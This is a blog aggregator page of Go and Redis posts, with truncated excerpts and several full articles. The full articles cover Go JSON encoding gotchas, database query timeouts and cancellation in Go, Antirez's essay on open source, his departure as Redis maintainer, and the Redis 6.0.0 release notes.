  Today’s post comes from a recent Go pop quiz. Consider this benchmark fragment. A convenience wrapper around sort.Sort(sort.StringSlice(s)), sort.Strings sorts the input in place, so it isn’t expected to allocate (or at least that’s what 43% of the tweeps who responded thought). However it turns out that, at least in recent versions of Go, each […]

• The story of the one line fix
  Dave Cheney · Dec 15, 2020

  Picture yourself, an engineer working at the hottest distributed microservices de jour, assigned to fix a bug. You jump into an unfamiliar codebase and quickly locate the line where the problem occurred. The fix is simple, just return early or substitute a default value in the case that one cannot be determined from your input. […]

• The open source paradox
  Antirez · Oct 03, 2020

  A new idea is insinuating in social networks and programming communities. It’s the proportionality between the money people give you for coding something, and the level of demand for quality they can claim to have about your work. As somebody said, the best code is written when you are supposed to do something else [1]. Like a writer will do her best when writing that novel that, maybe, nobody will pay a single cent for, and not when doing copywriting work for a well known company, programmers are likely to spend more energies in their open source side projects than during office hours, while writing another piece of a project they feel stupid, boring, pointless. And, if the company is big enough, chances are it will be cancelled in six months anyway or retired one year after the big launch. Open source is different, it’s an artifact, it’s a transposition in code of what you really want to do, of what you feel software should be, or just of all your fun and joy, or even anger you are feeling while coding. And you want it to rock, to be perfect, and you can’t sleep at night if there is a fucking heisenbug. So if a user of your software is addressing you because some part of your code sucks, and is willing to work with you to do something about it, and is very demanding, don’t think they are abusing you because they are not paying you. It’s not about money. You can ignore bugs if you want, and ignore their complains, you can do that since you don’t have a contract to do otherwise, but they are helping you, they care about the same thing you care: your software quality, grandiosity, perfection. The real right you have, and often don’t exploit, is that you are the only one that can decide about the design of your software. So you are entitled to refuse a pull request, or a proposal to follow good practices, because you feel that what somebody is contributing does not fit in the big picture of what you are designing and building. But if you recognize that somebody is talking you about something that is, really, a defect in your software, don’t do the error of reducing the interaction to a vile matter of money. You are doing work for free, they are risking their asses deploying what you wrote, you both care about quality. EDIT: If you write OSS and you are upset about user demands, have you ever thought that maybe, at this point, your work is more similar to office work for some reason? EDIT 2: A HN user asked the reasons for such title. The paradox is that the OSS writer cares and is often willing to fix code she writes for free, more than the other paid work she does. [1] "The best programs are the ones written when the programmer is supposed to be working on something else." - Melinda Varian. https://twitter.com/CodeWisdom/status/1309470447667421189 Comments

• Surprises and gotchas when working with JSON
  Alex Edwards · Sep 24, 2020

  This is a list of things about Go's encoding/json package which, over the years, have either confused or surprised me when I first encountered them. Many of these things are mentioned in the official package documentation if you read it carefully enough, so in theory they shouldn't come as a surprise. But a few of them aren't mentioned in the documentation at all — or at least, they aren't pointed out explicitly — and are worth being aware of! Map entries are sorted alphabetically Byte slices are encoded as base-64 strings Nil and empty slices are encoded differently Integer, time.Time and net.IP values can be used as map keys Angle brackets and ampersands in strings are escaped Trailing zeroes are removed from floats Using omitempty on an zero-valued struct doesn't work Using omitempty on a zero-value time.Time doesn't work There is a 'string' struct tag Non-ASCII punctuation characters aren't supported in struct tags Decoding a JSON number into an interface{} yields a float64 Don't use More() to check if there are remaining JSON objects in a stream String values returned by custom MarshalJSON() methods must be quoted Map entries are sorted alphabetically When encoding a Go map to JSON, the entries will be sorted alphabetically based on the map key. For example, the following map: m := map[string]int{ "z": 123, "0": 123, "a": 123, "_": 123, } Will be encoded to the JSON: {"0":123,"_":123,"a":123,"z":123} Byte slices are encoded as base-64 strings Any []byte slices will be converted to a base64-encoded string when encoding them to JSON. The base64 string uses padding and the standard encoding characters, as defined in RFC 4648. For example, the following map: m := map[string][]byte{ "foo": []byte("bar baz"), } Will be encoded to the JSON: {"foo":"YmFyIGJheg=="} Nil and empty slices are encoded differently Nil slices in Go will be encoded to the null JSON value. In contrast, an empty (but not nil) slice will be encoded as an empty JSON array. For example: var nilSlice []string emptySlice := []string{} m := map[string][]string{ "nilSlice": nilSlice, "emptySlice": emptySlice, } Will be encoded to the JSON: {"emptySlice":[],"nilSlice":null} Integer, time.Time and net.IP values can be used as map keys It's possible to encode a map which has integer values as the map keys. These integers will be automatically converted to strings in the resulting JSON (because the keys in a JSON object must always be strings). For example: m := map[int]string{ 123: "foo", 456_000: "bar", } Will be encoded to the JSON: {"123":"foo","456000":"bar"} In addition, Go allows you to encode maps with keys that implement the encoding.TextMarshaler interface. This means that you can also use time.Time and net.IP values as map keys out-of-the-box. For example: t1 := time.Now() t2 := t1.Add(24 * time.Hour) m := map[time.Time]string{ t1: "foo", t2: "bar", } Will be encoded to the JSON: {"2009-11-10T23:00:00Z":"foo","2009-11-11T23:00:00Z":"bar"} Note that trying to encode a map with any other type of key will result in a json.UnsupportedTypeError error. Angle brackets and ampersands in strings are escaped If a string contains angle brackets<> these will be escaped to \u003c and \u003e in the JSON output. Likewise the & character will be escaped to \u0026. This is to prevent some web browsers from accidentally interpreting the JSON as HTML. For example: s := []string{ "", "bar & baz", } Will be encoded to the JSON: ["\u003cfoo\u003e","bar \u0026 baz"] If you need to prevent these characters being escaped, you should use a json.Encoder instance and call SetEscapeHTML(false). An example is here. Trailing zeroes are removed from floats When encoding a floating-point number with a fractional part that ends in zero(es), any trailing zeroes will not appear in the JSON. For example: s := []float64{ 123.0, 456.100, 789.990, } Will be encoded to the JSON: [123,456.1,789.99] Using omitempty on an zero-valued struct doesn't work The omitempty directive never considers a struct type to be empty — even if all the struct fields have their zero value, and you use omitempty on those fields too. It will always appear as an object in the encoded JSON. For example: s := struct { Foo struct { Bar string `json:",omitempty"` } `json:",omitempty"` }{} Will be encoded to the JSON: {"Foo":{}} There’s a long-standing proposal which discusses changing this behavior, but the Go 1 compatibility promise means that it's unlikely to happen any time soon. Instead, you can get around this by making the field a pointer to a struct, which works because omitempty considers nil pointers to be empty. For example: s := struct { Foo *struct { Bar string `json:",omitempty"` } `json:",omitempty"` }{} Using omitempty on a zero-value time.Time doesn't work Using omitempty on a zero-value time.Time field won't hide it in the encoded JSON. This is because the time.Time type is a struct behind the scenes and, as mentioned above, omitempty never considers a struct type to be empty. Instead, the string "0001-01-01T00:00:00Z" will appear in the JSON (which is the value returned by calling the MarshalJSON() method on an zero-value time.Time. For example: s := struct { Foo time.Time `json:",omitempty"` }{} Will be encoded to the JSON: {"Foo":"0001-01-01T00:00:00Z"} There is a 'string' struct tag Go provides a string struct tag directive which forces the data in an individual field to be encoded as a string in the resulting JSON. For example, if you want to force an integer to be represented as a string instead of an JSON number you can use the string directive like so: s := struct { Foo int `json:",string"` }{ Foo: 123, } And this will be encoded to the JSON: {"Foo":"123"} Note that the string struct tag directive will only work on fields which contain float, integer or bool types. For any other type it will have no effect. Non-ASCII punctuation characters aren't supported in struct tags When using struct tags to change key names in JSON, any tags containing non-ASCII punctuation characters will be ignored. Notably this means that you can't use en or em dashes, or most currency signs, in struct tags. For example: s := struct { CostUSD string `json:"cost $"` // OK CostEUR string `json:"cost €"` // Contains the non-ASCII punctuation character €. Will be ignored. }{ CostUSD: "100.00", CostEUR: "100.00", } Will be encoded to the following JSON (notice that the struct tag renaming the CostEUR field has been ignored): {"cost $":"100.00","CostEUR":"100.00"} Likewise, any struct tags containing non-ASCII punctuation characters will be ignored when decoding values from a JSON object into a struct, and the struct field will be left with its zero value. For example the following code: js := []byte(`{"cost $":"100.00","cost €":"100.00"}`) s := struct { CostUSD string `json:"cost $"` CostEUR string `json:"cost €"` }{} err := json.Unmarshal(js, &s) if err != nil { log.Fatal(err) } fmt.Printf("%+v", s) Will print out: {CostUSD:100.00 CostEUR:} This can be annoying in situations where you need to decode a JSON object that has keys containing non-ASCII characters, and you can't change the JSON. To work around this limitation, you can decode to a map as an intermediary step, and then copy the data from the map to the struct. For example the following code: js := []byte(`{"cost $":"100.00","cost €":"100.00"}`) var aux map[string]string err := json.Unmarshal([]byte(js), &aux) if err != nil { log.Fatal(err) } s := struct { CostUSD string `json:"cost $"` CostEUR string `json:"cost €"` }{ CostUSD: aux["cost $"], CostEUR: aux["cost €"], } fmt.Printf("%+v", s) Will print out: {CostUSD:100.00 CostEUR:100.00} Decoding a JSON number into an interface{} yields a float64 When decoding a JSON number into an interface{}, the value will have the underlying type float64 — even if it is an integer in the original JSON. If you want to get the value as an integer (instead of a float64) the most robust approach is to decode the JSON using a json.Decoder instance with the UseNumber() method set on it. This will decode all JSON numbers to the underlying type json.Number instead of float64, and you can then access the number as an integer using its Int64() method. For example: js := `{"foo": 123, "bar": true}` var m map[string]interface{} dec := json.NewDecoder(strings.NewReader(js)) dec.UseNumber() err := dec.Decode(&m) if err != nil { log.Fatal(err) } i, err := m["foo"].(json.Number).Int64() if err != nil { log.Fatal(err) } fmt.Printf("foo: %d", i) Will print: foo: 123 Don't use More() to check if there are remaining JSON objects in a stream When processing a stream of JSON objects with json.Decoder, don't use the More() method to check if there is a remaining object in the stream. Depsite its name, More() is not designed for this purpose†, and trying to use it in this way may cause some subtle problems. †The More() method is intended to be used in conjunction with Token(), and exists specifically to check if there is another element in the array or object currently being parsed. For example, if you use it when decoding an invalid JSON stream like {"name": "alice"}{"name": "bob"}] (notice the additional square bracket at the end) it won't result in an error (when it should!). Like so: js := `{"name": "alice"}{"name": "bob"}]` dec := json.NewDecoder(strings.NewReader(js)) for { var user map[string]string err := dec.Decode(&user) if err != nil { log.Fatal(err) } fmt.Printf("%v\n", user) // Don't do this! if !dec.More() { break } } This code will run without error and output: map[name:alice] map[name:bob] The correct technique to see if a stream contains another JSON object is to check for an io.EOF error, which will be returned when there are no more objects to process in the stream. Like so: js := `{"name": "alice"}{"name": "bob"}]` dec := json.NewDecoder(strings.NewReader(js)) for { var user map[string]string err := dec.Decode(&user) if err != nil { if errors.Is(err, io.EOF) { break } log.Fatal(err) } fmt.Printf("%v\n", user) } Running this will correctly result in an error, as we would expect given the invalid input: map[name:alice] map[name:bob] 2009/11/10 23:00:00 invalid character ']' looking for beginning of value String values returned by custom MarshalJSON() methods must be quoted If you are creating a custom MarshalJSON() method which returns a string value, you must wrap the string in double quotes before returning it, otherwise it won't be interpreted as a JSON string and will result in a runtime error. For example: type Age int func (age Age) MarshalJSON() ([]byte, error) { encodedAge := fmt.Sprintf("%d years", age) encodedAge = strconv.Quote(encodedAge) // Wrap the string in quotes before returning. return []byte(encodedAge), nil } func main() { users := map[string]Age{ "alice": 21, "bob": 84, } js, err := json.Marshal(users) if err != nil { log.Fatal(err) } fmt.Printf("%s", js) } Will result in the following JSON being printed: {"alice":"21 years","bob":"84 years"} If, in the code above, you didn't quote the return value from MarshalJSON() you will get the error: 2009/11/10 23:00:00 json: error calling MarshalJSON for type main.Age: invalid character 'y' after top-level value

• The end of the Redis adventure
  Antirez · Jun 30, 2020

  When I started the Redis project more than ten years ago I was in one of the most exciting moments of my career. My co-founder and I had successfully launched two of the major web 2.0 services of the Italian web. In order to make them scalable we had to invent many new concepts, that were already known in the field most of the times, but we didn’t know, nor we cared to check. Problem? Let’s figure out a solution. We wanted to solve problems but we wanted, even more, to have fun. This was the playful environment where Redis was born. But now Redis is, incredibly, one of the main parts of so many things. And year after year my work changed from building this thing to making sure that it was also as useful as possible, as reliable as possible. And in recent years, what I do every day changed so much that most of my attention is spent in checking what other developers tell me about the Redis code, how to improve it, the changes it requires to be more correct or faster or more secure. However I never wanted to be a software maintainer. I write code in order to express myself, and I consider what I code an artifact, rather than just something useful to get things done. I would say that what I write is useful just as a side effect, but my first goal is to make something that is, in some way, beautiful. In essence, I would rather be remembered as a bad artist than a good programmer. Now I’m asked more and more, by the circumstances created by a project that became so important, to express myself less and to maintain the project more. And this is indeed exactly what Redis needs right now. But this is not what I want to do, and I stretched myself enough during the past years. So, dear Redis community, today I’m stepping back as the Redis maintainer. My new position will be, on one side, an “ideas” person at Redis Labs, in order to provide inputs for new Redis possibilities: I’ll continue to be part of the Redis Labs advisory board. On the other hand however my hands will be free, and I’ll do something else, that could be writing code or not, who knows, I don’t want to make plans for now. However I’m very skeptical about me not writing more code in the future. It’s just too much fun :D I leave Redis in the hands of the Redis community. I asked my colleagues Yossi Gottlieb and Oran Agra to continue to maintain the project starting from today: these are the people that helped me the most in recent years, and that tried hard, even when it was not “linear” to follow me in my very subjective point of views, to understand what my vision on Redis was. Since I don’t want to be part of how the new Redis development setup will be shaped (that is the most meta of the maintenance tasks, exactly what I want to avoid), I’ll just leave Yossi and Oran the task of understanding how to interface with the rest of the Redis developers to find a sustainable development model, you can hear directly from Yossi and Oran in this blog post: https://redislabs.com/blog/new-governance-for-redis/ I believe I’m not just leaving Redis in the hands of a community of expert programmers, but also in the hands of people who care about the legacy of the community spirit of Redis. In eleven years I hope I was able to provide a point of view that certain persons understood, about an alternative way to write software. I hope that such point of view will be taken into consideration in the evolution of Redis. Redis was the most stressful thing I did in my career, and probably also the most important. I don’t like much what the underground programming world became in recent years, but even if it was not an easy journey, I had the privilege to work and interact with many great individuals. Thank you for your humanity and your help, and for what you taught me. You know who you are! I want to also say thank you to the companies and individuals inside such companies that allowed me to write open source every day for so many years, with the freedom to do what I believed to be correct for the user base. Redis Labs, VMware and Pivotal, thank you for your great help and generosity. As I said, I don’t really know what there is for me in my future, other than the involvement with the Redis advisory board. I guess that for some time, just look around is a good idea, without doing too many things. I would like to explore more a few hobbies of mine. Writing blog posts is also a major thing that I wanted to do but did less and less because of time concerns. Recently I published videos in Italian language explaining technological concepts to the general public, I had fun doing that and received good feedbacks, maybe I’ll do more of that as well. Anyway I guess some of you know that I’m active on Twitter as @antirez. If you are interested in what an old, strange programmer will do next, see you there. Comments

• How to dump the GOSSAFUNC graph for a method
  Dave Cheney · Jun 19, 2020

  The Go compiler’s SSA backend contains a facility to produce HTML debugging output of the compilation phases. This post covers how to print the SSA output for function and methods. Let’s start with a sample program which contains a function, a value method, and a pointer method: Control of the SSA debugging output is via […]

• Diamond interface composition in Go 1.14
  Dave Cheney · May 24, 2020

  Per the overlapping interfaces proposal, Go 1.14 now permits embedding of interfaces with overlapping method sets. This is a brief post explain what this change means: Let’s start with the definition of the three key interfaces from the io package; io.Reader, io.Writer, and io.Closer: Just as embedding a type inside a struct allows the embedded type’s […]

• Fatih’s question
  Dave Cheney · May 16, 2020

  A few days ago Fatih posted this question on twitter. I’m going to attempt to give my answer, however to do that I need to apply some simplifications as my previous attempts to answer it involved a lot of phrases like a pointer to a pointer, and other unhelpful waffling. Hopefully my simplified answer can […]

• Ensmallening Go binaries by prohibiting comparisons
  Dave Cheney · May 09, 2020

  Conventional wisdom dictates that the larger the number of types declared in a Go program, the larger the resulting binary. Intuitively this makes sense, after all, what’s the point in defining a bunch of types if you’re not going to write code that operates on them. However, part of the job of a linker is […]

• Mid-stack inlining in Go
  Dave Cheney · May 02, 2020

  In the previous post I discussed how leaf inlining allows the Go compiler to reduce the overhead of function calls and extend optimisation opportunities across function boundaries. In this post I’ll discuss the limits of inlining and leaf vs mid-stack inlining. The limits of inlining Inlining a function into its caller removes the call’s overhead […]

• Redis 6.0.0 GA is out!
  Antirez · Apr 30, 2020

  Finally Redis 6.0.0 stable is out. This time it was a relatively short cycle between the release of the first release candidate and the final release of a stable version. It took about four months, that is not a small amount of time, but is not a lot compared to our past records :) So the big news are the ones announced before, but with some notable changes. The old stuff are: SSL, ACLs, RESP3, Client side caching, Threaded I/O, Diskless replication on replicas, Cluster support in Redis-benchmark and improved redis-cli cluster support, Disque in beta as a module of Redis, and the Redis Cluster Proxy (now at https://github.com/RedisLabs/redis-cluster-proxy). So what changed between RC1 and today, other than stability? 1. Client side caching was redesigned in certain aspects, especially the caching slot approach was discarded in favor of just using key names. After analyzing the alternatives, with the help of other Redis core team members, in the end this approach looks better. Other than that, finally the feature was completed with the things I had in the backlog for the feature, especially the “broadcasting mode”, that I believe will be one of the most popular usage modes of the feature. When broadcasting is used, the server no longer try to remember what keys each client requested. Instead clients subscribe to key prefixes: they’ll get notifications every time a key matching the prefix is modified. This means more messages (but only for the selected prefixes), but no memory effort in the server side. Moreover the opt-in / opt-out mode is now supported, so it is possible for clients not using the broadcasting mode, to exactly tell the server about what the client will cache, to reduce the number of invalidation messages. Basically the feature is now much better both when a low-memory mode is needed, and when a very selective (low-bandwidth) mode is needed. 2. This was an old request by many users. Now Redis supports a mode where RDB files used for replication are immediately deleted if no longer useful. In certain environments it is a good idea to never have the data around on disk, but just in memory. 3. ACLs are better in a few regards. First, there is a new ACL LOG command that allows to see all the clients that are violating the ACLs, accessing commands they should not, accessing keys they should not, or with failed authentication attempts. The log is actually in memory, so every external agent can call “ACL LOG” to see what’s going on. This is very useful in order to debug ACL problems. But my preferred feature is the reimplementation of ACL GENPASS. Now it uses SHA256 based HMAC, and accepts an optional argument to tell the server how many bits of unguessable pseudo random string you want to generate. Redis seeds an internal key at startup from /dev/urandom, and later uses the HMAC in counter mode in order to generate the other random numbers: this way you can abuse the API, and call it every time you want, since it will be very fast. Want to generate an unguessable session ID for your application? Just call ACL GENPASS. And so forth. 4. PSYNC2, the replication protocol, is now improved. Redis will be able to partially resynchronize more often, since now is able to trim the final PINGs in the protocol, to make more likely that replicas and masters can find a common offset. 5. Redis commands with timeouts are now much better: not only BLPOP and other commands that used to accept seconds, now accept decimal numbers, but the actual resolution was improved in order to never be worse than the current “HZ” value, regardless of the number of clients connected. 6. RDB files are now faster to load. You can expect a 20/30% improvement, depending on the file actual composition (larger or smaller values). INFO is also faster now when there are many clients connected, this was a long time problem that now is finally gone. 7. We have a new command, STRALGO, that implements complex string algorithms. For now the only one implemented is LCS (longest common subsequence), an important algorithm used, among the other things, in order to compare the RNA of the coronaviruses (and in general the DNA and RNA of other organisms). What is happening is too big, somewhat a trace inside Redis needed to remain. Redis 6 is the biggest release of Redis *ever*, so even if it is stable, handle it with care, test it for your workload before putting it in production. We never saw big issues so far, but make sure to be careful. As we collect bug reports, we will prepare to release Redis 6.0.1 ASAP. A big thank you to the many people that wrote code with me in this release, and to all the companies that sponsored both my work (Thanks Redis Labs), and the the work of the other contributors (Thanks other companies). Also a big thank you to the many that signaled bugs with care, sometimes following the boring process of reiterating after making some changes, or that suggested improvements of any kind. As usually you can find Redis 6 in different places: at https://redis.io as tarball, and in the Github repository tagged as “6.0.0”. Enjoy Redis 6, antirez Comments

• Inlining optimisations in Go
  Dave Cheney · Apr 25, 2020

  This is a post about how the Go compiler implements inlining and how this optimisation affects your Go code. n.b. This article focuses on gc, the de facto Go compiler from golang.org. The concepts discussed apply broadly to other Go compilers like gccgo and tinygo but may differ in implementation and efficacy. What is inlining? […]

• How to manage database timeouts and cancellations in Go
  Alex Edwards · Apr 20, 2020

  One of the great features of Go's database/sql package is that it's possible to cancel database queries while they are still running via a context.Context instance. On the face of it, usage of this functionality is quite straightforward (here's a basic example). But once you start digging into the details there's a lot a nuance and quite a few gotchas... especially if you are using this functionality in the context of a web application or API. So in this post I want to explain how to cancel database queries in a web application, what behavioral quirks and edge cases it is important to be aware of, and try to provide answers to the questions that you might have when working through all this. But first off, why would you want to cancel a database query? Two scenarios spring to mind: When a query is taking a lot longer to complete than expected. If this happens, it suggests a problem — either with that particular query or your database or application more generally. In this scenario, you would probably want to cancel the query after a set period of time (so that resources are freed-up and the database connection is returned to the sql.DB connection pool for reuse), log an error for further investigation, and return a 500 Internal Server Error response to the client. When a client goes away unexpectedly before the query completes. This could happen for a number of reasons, such as a user closing a browser tab or terminating a process. In this scenario, nothing has really gone 'wrong', but there is no client left to return a response to so you may as well cancel the query and free-up the resources. Mimicking a long-running query Let's start with the first scenario. To demonstrate this, I'll make a very basic web application with a handler that executes a SELECT pg_sleep(10) SQL query against a PostgreSQL database using the pq driver. The pg_sleep(10) function will make the query sleep for 10 seconds before returning, essentially mimicking a slow-running query. package main import ( "database/sql" "fmt" "log" "net/http" _ "github.com/lib/pq" ) var db *sql.DB func slowQuery() error { _, err := db.Exec("SELECT pg_sleep(10)") return err } func main() { var err error db, err = sql.Open("postgres", "postgres://user:pa$$word@localhost/example_db") if err != nil { log.Fatal(err) } if err = db.Ping(); err != nil { log.Fatal(err) } mux := http.NewServeMux() mux.HandleFunc("/", exampleHandler) log.Print("Listening...") err = http.ListenAndServe(":5000", mux) if err != nil { log.Fatal(err) } } func exampleHandler(w http.ResponseWriter, r *http.Request) { err := slowQuery() if err != nil { serverError(w, err) return } fmt.Fprintln(w, "OK") } func serverError(w http.ResponseWriter, err error) { log.Printf("ERROR: %s", err.Error()) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) } If you were to run this code, then make a GET / request to the application you should find that the request hangs for 10 seconds before you finally get an "OK" response. Like so: $ curl -i localhost:5000/ HTTP/1.1 200 OK Date: Fri, 17 Apr 2020 07:46:40 GMT Content-Length: 3 Content-Type: text/plain; charset=utf-8 OK Note: The structure of the application code above is deliberately over-simplified. In a real project I would recommend using dependency injection to make the sql.DB connection pool and logger available to your handlers, instead of using global variables. Adding a context timeout OK, now that we've got some code that mimics a long-running query, let's enforce a timeout on the query so it is automatically canceled if it doesn't complete within 5 seconds. To do this we need to: Use the context.WithTimeout() function to create a context.Context instance with a 5-second timeout duration. Execute the SQL query using the ExecContext() method, passing the context.Context instance as a parameter. I'll demonstrate: package main import ( "context" // New import "database/sql" "fmt" "log" "net/http" "time" // New import _ "github.com/lib/pq" ) var db *sql.DB func slowQuery(ctx context.Context) error { // Create a new child context with a 5-second timeout, using the // provided ctx parameter as the parent. ctx, cancel := context.WithTimeout(ctx, 5*time.Second) defer cancel() // Pass the child context (the one with the timeout) as the first // parameter to ExecContext(). _, err := db.ExecContext(ctx, "SELECT pg_sleep(10)") return err } ... func exampleHandler(w http.ResponseWriter, r *http.Request) { // Pass the request context to slowQuery(), so it can be used as the // parent context. err := slowQuery(r.Context()) if err != nil { serverError(w, err) return } fmt.Fprintln(w, "OK") } ... There are a few things about this that I'd like to emphasize and explain: Note that we pass r.Context() (the request context) to slowQuery() to use as the parent context. As we'll see in the next section, this is important because it means that any cancellation signal on the request context will be able to 'bubble down' to the context that we use in ExecContext(). The defer cancel() line is important because it ensures that the resources associated with our child context (the one with the timeout) will be released before the slowQuery() function returns. If we don't call cancel() it may cause a memory leak: the resources won't be released until either the parent r.Context() is canceled or the 5-second timeout is hit (whichever happens first). The timeout countdown begins from the moment that the child context is created using context.WithTimeout(). If you want more control over this you could use the alternative context.WithDeadline() function, which allows you to set an explicit time.Time value for when the context should timeout instead. OK, let's try this out. If you run the application again and make a GET / request, after a 5-second delay you should get a response like this: $ curl -i localhost:5000/ HTTP/1.1 500 Internal Server Error Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 17 Apr 2020 08:21:14 GMT Content-Length: 28 Sorry, something went wrong And if you go back to the terminal window running the application you should see a log message similar to this: $ go run . 2020/04/17 10:21:07 Listening... 2020/04/17 10:21:14 ERROR: pq: canceling statement due to user request That log message might seem a bit odd... until you realize that the error message is actually coming from PostgreSQL. In that light it makes sense: our web application is the user and we're canceling the query after 5 seconds. So this is actually really good; things are working as we want. Specifically, after 5 seconds the context timeout is reached and the pq driver sends a cancellation signal to PostgreSQL†. PostgreSQL then terminates the running query (thereby freeing-up resources). The client is sent a 500 Internal Server Error response, and the error message is logged so we know that something has gone wrong. † More precisely, our child context (the one with the 5-second timeout) has a Done channel, and when the timeout is reached it will close the Done channel. While the SQL query is running, our database driver pq is also running a background goroutine which listens on this Done channel. If the channel is closed, then it sends a cancellation signal to PostgreSQL. PostgreSQL terminates the query, and then sends the error message that we see above as a response to the original pq goroutine. That error message is then returned to our slowQuery() function. Dealing with closed connections OK, let's try one more thing. Let's use curl to make a GET / request and then very quickly (within 5 seconds) press Ctrl+C to cancel the request. If you look at the logs for the application again, you should see another log line with exactly the same error message that we saw before. $ go run . 2020/04/17 10:21:07 Listening... 2020/04/17 10:21:14 ERROR: pq: canceling statement due to user request 2020/04/17 10:41:18 ERROR: pq: canceling statement due to user request So what's happening here? In this case, the request context (which we use as the parent in our code above) is canceled because the client closed the connection. From the net/http docs: For incoming server requests, the [request] context is canceled when the client's connection closes, the request is canceled (with HTTP/2), or when the ServeHTTP method returns. This cancellation signal bubbles down to our child context, it's Done channel is closed, and the pq driver terminates the running query in exactly the same way as before. With that in mind, it's not surprising that we see the same error message... From a PostgreSQL point of view exactly the same thing is happening as when the timeout was reached. But from the perspective of our web application the scenario is very different. A client connection being closed can happen for many different, innocuous, reasons. It's not really an error from our application's point of view, although it is probably sensible to log it as a warning (if we start to see elevated rates, it could be a sign that something is wrong). Fortunately, it's possible to tell these two scenarios apart by calling the ctx.Err() method on our child context. If the context was canceled (due to a client closing the connection), then ctx.Err() will return context.Canceled. If the timeout was reached, then it will return context.DeadlineExceeded. If both the deadline is reached and the context is canceled, then ctx.Err() will surface whichever happened first. There's another important thing to point out here: it's possible that a timeout/cancellation will happen before the PostgreSQL query even starts. For example you might have set MaxOpenConns() on your sql.DB connection pool, and if that open connection limit is reached and all connections are in-use, then the query will be 'queued' by sql.DB until a connection becomes available. In this scenario — or any other which causes a delay — it's quite possible that the timeout/cancellation will occur before a free database connection even becomes available. In this case ExecContext() will directly return the ctx.Err() value as the error response (instead of the "pq: canceling statement due to user request" error that we see above). If you're using the QueryContext() method then it's also possible that the timeout/cancellation will occur when processing the data with Scan(). If this happens, then Scan() will directly return the ctx.Err() value as an error. As far as I can see this behavior isn't mentioned in the database/sql docs, but I can confirm that this is the case with Go 1.14 and the comments on issue #28842 suggest that it is intentional. Putting all that together, a sensible approach is to check for the error "pq: canceling statement due to user request" and then wrap this with the error from ctx.Err() before returning from our slowQuery() function. Then in our handler, we can use the errors.Is() function to check if the error from slowQuery() is equal to (or wraps) context.Canceled and manage it accordingly. Like so: package main import ( "context" "database/sql" "errors" // New import "fmt" "log" "net/http" "time" _ "github.com/lib/pq" ) var db *sql.DB func slowQuery(ctx context.Context) error { ctx, cancel := context.WithTimeout(ctx, 5*time.Second) defer cancel() _, err := db.ExecContext(ctx, "SELECT pg_sleep(10)") // If we get a "pq: canceling statement..." error wrap it with the // context error before returning. if err != nil && err.Error() == "pq: canceling statement due to user request" { return fmt.Errorf("%w: %v", ctx.Err(), err) } return err } ... func exampleHandler(w http.ResponseWriter, r *http.Request) { err := slowQuery(r.Context()) if err != nil { // Check if the returned error equals or wraps context.Canceled and // record a warning if it does. switch { case errors.Is(err, context.Canceled): serverWarning(err) default: serverError(w, err) } return } fmt.Fprintln(w, "OK") } func serverWarning(err error) { log.Printf("WARNING: %s", err.Error()) } ... If you were to run this application again now and make two different GET / requests — one that times out, and the other that you cancel — you should see clearly different messages in the application log, like so: $ go run . 2020/04/17 13:09:25 Listening... 2020/04/17 13:09:45 ERROR: context deadline exceeded: pq: canceling statement due to user request 2020/04/17 13:09:47 WARNING: context canceled: pq: canceling statement due to user request Other context-aware methods The database/sql package provides context-aware variants for most actions on sql.DB, including PingContext(), QueryContext(), and QueryRowContext(). We can (and should!) update the main() function in the code above to use PingContext() instead of Ping(). In this case there is no request context to use as the parent, so we need to create an empty parent context with context.Background() instead. Like so: ... func main() { var err error db, err = sql.Open("postgres", "postgres://user:pa$$word@localhost/example_db") if err != nil { log.Fatal(err) } // Create a context with a 10-second timeout, using the empty // context.Background() as the parent. ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() // Use this when testing the connection pool. if err = db.PingContext(ctx); err != nil { log.Fatal(err) } mux := http.NewServeMux() mux.HandleFunc("/", exampleHandler) log.Print("Listening...") err = http.ListenAndServe(":5000", mux) if err != nil { log.Fatal(err) } } ... Can I set a global timeout for all requests? Sure, you could create and use some middleware on your routes which adds a timeout to the current request context, similar to this: func setTimeout(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ctx, cancel := context.WithTimeout(r.Context(), 5*time.Second) defer cancel() // This gives you a copy of the request with a the request context // changed to the new context with the 5-second timeout created // above. r = r.WithContext(ctx) next.ServeHTTP(w, r) }) } If you take this approach there are a few of things to be aware of: The timeout starts from the moment the context is created, so any code running in your handlers before the database query counts towards the timeout. If you have multiple queries being executed in a handler, then they all have to complete within that one time. The timeout will continue to apply even if you derive a child context with a different timeout duration. So while you can enforce an earlier timeout in a child context, you can't make it longer. What about http.TimeoutHandler? Go provides a http.TimeoutHandler() middleware function which you can use to wrap your handlers or router/servemux. This works similar to the middleware above in the sense that it sets a timeout on the request context... so the warnings above also apply when using this. However, http.TimeoutHandler() also sends the client a 503 Service Unavailable response and a HTML error message. So, if you're using this in your application, you shouldn't (or at least, you don't need to) send the client an error response yourself when encountering a context.DeadlineExceeded error. How about transactions? How does context work in those? The database/sql package provides a BeginTx() method which you can use to initiate a context-aware transaction. A code example can be seen here. It's important to understand that the context you provide to BeginTx() applies to the whole transaction. In the event of a timeout/cancellation on the context, then the queries in the transaction will automatically be rolled-back. It's perfectly fine to pass the same context as a parameter for all the queries in the transaction, in which case it ensures that they all (as a whole) complete before any timeout/cancellation . Alternatively, if you want per-query timeouts you can create different child contexts with different timeouts for each in the queries in the transaction. But you must derive these child contexts from the context you passed to BeginTX(). Otherwise there is a risk that the BeginTX() context timeout/cancellation occurs and the automatic rollback happens, but your code still may try to execute the query with a still-live context. If that happened you would receive the error "sql: transaction has already been committed or rolled back". What about background processing? When doing background-processing in a different goroutine, bear in mind that if a parent context is canceled, the cancellation signal 'bubbles down' to its children. And also bear in mind what I quoted earlier about request context cancellation: For incoming server requests, the [request] context is canceled ... when the ServeHTTP method returns. Combine those two things, and it means that if you use a context which is a child of the request context in the background-process, the background-process will get a cancellation signal when the HTTP response is sent for the initial request. If you don't want that to be the case (and you probably don't), then you should create a brand-new context for the background-process using context.Background() and copy over any values that you need... or just pass them as regular parameters instead. If a context is canceled, can I be confident that it's due to a closed connection? Yes — so long as it's within the main goroutine for the request, it's a child of the request context, and you haven't manually canceled it yourself yet using defer cancel(). Otherwise, no. Is the behavior the same with other databases and drivers? I'm not sure. I've only used these features extensively with PostgreSQL and the pq driver. I imagine that things will be roughly the same with other databases and drivers, but you'll need to check. Anything else I should know? Yep. This is a strange one and it's not officially 